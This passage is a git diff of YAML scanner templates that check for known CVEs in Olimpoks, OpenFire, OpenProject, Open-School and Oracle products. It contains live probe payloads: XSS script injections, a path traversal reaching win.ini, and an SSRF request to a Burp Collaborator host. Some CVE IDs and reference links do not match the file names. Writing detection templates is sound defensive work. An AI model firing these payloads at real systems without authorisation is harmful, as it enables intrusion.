"[fonts]") + +references: + - https://www.cvebase.com/cve/2018/15640 diff --git a/cves/olimpoks-xss-cve-2020-16270.yaml b/cves/olimpoks-xss-cve-2020-16270.yaml new file mode 100644 index 0000000..c9460f8 --- /dev/null +++ b/cves/olimpoks-xss-cve-2020-16270.yaml @@ -0,0 +1,23 @@ +id: CVE-2020-16270 +info: + name: Olimpoks XSS + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + Auth/Admin +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?ErrorMessage=bb%27);alert(11470+1477+"g147");/ + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "12947g147") + +references: + - https://www.cvebase.com/cve/2019/16270 diff --git a/cves/openfire-ssrf-cve-2019-18394.yaml b/cves/openfire-ssrf-cve-2019-18394.yaml new file mode 100644 index 0000000..cc7ec96 --- /dev/null +++ b/cves/openfire-ssrf-cve-2019-18394.yaml @@ -0,0 +1,22 @@ +id: CVE-2019-18394 +info: + name: OpenFire SSRF + risk: Critical + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + getFavicon +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?host=burpcollaborator.net + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StringSearch("resBody", "Burp Collaborator Server") +references: + - https://www.cvebase.com/cve/2019/18394 diff --git a/cves/openfire-ssrf.yaml b/cves/openfire-ssrf.yaml deleted file mode 100644 index 7412145..0000000 --- a/cves/openfire-ssrf.yaml +++ /dev/null @@ -1,22 +0,0 @@ -id: openfire-ssrf -info: - name: Openfire SSRF (CVE-2019-18394) - risk: Medium - -params: - - root: "{{.BaseURL}}" - - dest: "vvu8gyyr70izifx81a5iuc4gj7pzdo.burpcollaborator.net" - -requests: - - method: GET - redirect: false - url: >- - {{.root}}/getFavicon?host={{.dest}} - headers: - - User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55 - detections: - - >- - StatusCode() == 200 && RegexSearch("body", "(?m)\\\\[a-z0-9]+") - -references: - - link: https://swarm.ptsecurity.com/openfire-admin-console/ \ No newline at end of file diff --git a/cves/openproject-sqli.yaml b/cves/openproject-sqli-cve-2019-11600.yaml similarity index 81% rename from cves/openproject-sqli.yaml rename to cves/openproject-sqli-cve-2019-11600.yaml index 3a6f384..60a4b17 100644 --- a/cves/openproject-sqli.yaml +++ b/cves/openproject-sqli-cve-2019-11600.yaml @@ -1,7 +1,7 @@ -id: cve-01-05 +id: CVE-2019-11600 type: list info: - name: OpenProject SQLi CVE-2019-11600 + name: OpenProject SQLi risk: Critical origin: @@ -29,5 +29,4 @@ requests: Math.abs(ResponeTime() > OriginResponeTime()) > 3 reference: - - link: https://www.exploit-db.com/exploits/46838 - - affected version: OpenProject 5.0.0 - 8.3.1 - SQL Injection \ No newline at end of file + - https://www.cvebase.com/cve/2019/11600 \ No newline at end of file diff --git a/cves/openschool-xss-cve-2019-14696.yaml b/cves/openschool-xss-cve-2019-14696.yaml new file mode 100644 index 0000000..2cebed1 --- /dev/null +++ b/cves/openschool-xss-cve-2019-14696.yaml @@ -0,0 +1,22 @@ +id: CVE-2019-14696 +info: + name: Open-School XSS + risk: Medium + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + index.php +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "") +references: + - https://www.cvebase.com/cve/2019/14696 diff --git a/cves/oracle-bi-path-traversal-cve-2019-2588.yaml b/cves/oracle-bi-path-traversal-cve-2019-2588.yaml new file mode 100644 index 0000000..5defa11 --- /dev/null +++ b/cves/oracle-bi-path-traversal-cve-2019-2588.yaml @@ -0,0 +1,22 @@ +id: CVE-2019-2588 +info: + name: Oracle Business Intelligence Path Traversal + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + xmlpserver/servlet/adfresource +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?format=aaaaaaaaaaaaaaa&documentId=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini + headers: + - User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + detections: + - >- + StatusCode() == 200 && StringSearch("resBody", "for 16-bit app support") +references: + - https://www.cvebase.com/cve/2019/2588 diff --git a/cves/iplanet-disclosure.yaml b/cves/oracle-iplanet-improper-authorization-cve-2020-9315.yaml similarity index 78% rename from cves/iplanet-disclosure.yaml rename to cves/oracle-iplanet-improper-authorization-cve-2020-9315.yaml index 26e2d8b..0d401ce 100644 --- a/cves/iplanet-disclosure.yaml +++ b/cves/oracle-iplanet-improper-authorization-cve-2020-9315.yaml @@ -1,6 +1,6 @@ -id: iplanet-unauth-01 +id: CVE-2020-9315 info: - name: Oracle iPlanet unauth access + name: Oracle iPlanet Improper Authorization risk: High params: @@ -10,7 +10,6 @@ variables: - endpoint: | /admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2 /admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4 - requests: - method: GET url: >- @@ -22,6 +21,5 @@ requests: StatusCode() == 200 && StringSearch("response", "Admin Console") && StringSearch("response", "serverConfigurationsGeneral") - >- StatusCode() == 200 && StringSearch("response", "Admin Console") && StringSearch("response", "serverCertificatesGeneral") - references: - - link: https://wwws.nightwatchcybersecurity.com/2020/05/10/two-vulnerabilities-in-oracles-iplanet-web-server-cve-2020-9315-and-cve-2020-9314/ + - https://www.cvebase.com/cve/2020/9315 \ No newline at end of file diff --git a/cves/oracle-sgd-xss-cve-2018-19439.yaml b/cves/oracle-sgd-xss-cve-2018-19439.yaml new file mode 100644 index 0000000..9ec3b18 --- /dev/null +++ b/cves/oracle-sgd-xss-cve-2018-19439.yaml @@ -0,0 +1,22 @@ +id: CVE-2018-19349 +info: + name: Oracle SGD XSS + risk: High + +params: + - root: '{{.BaseURL}}/' + +variables: + - endpoint: | + sgdadmin/faces/com_sun_web_ui/help/helpwindow.jsp +requests: + - method: GET + url: >- + {{.root}}{{.endpoint}}?=&windowTitle=AdministratorHelpWindow>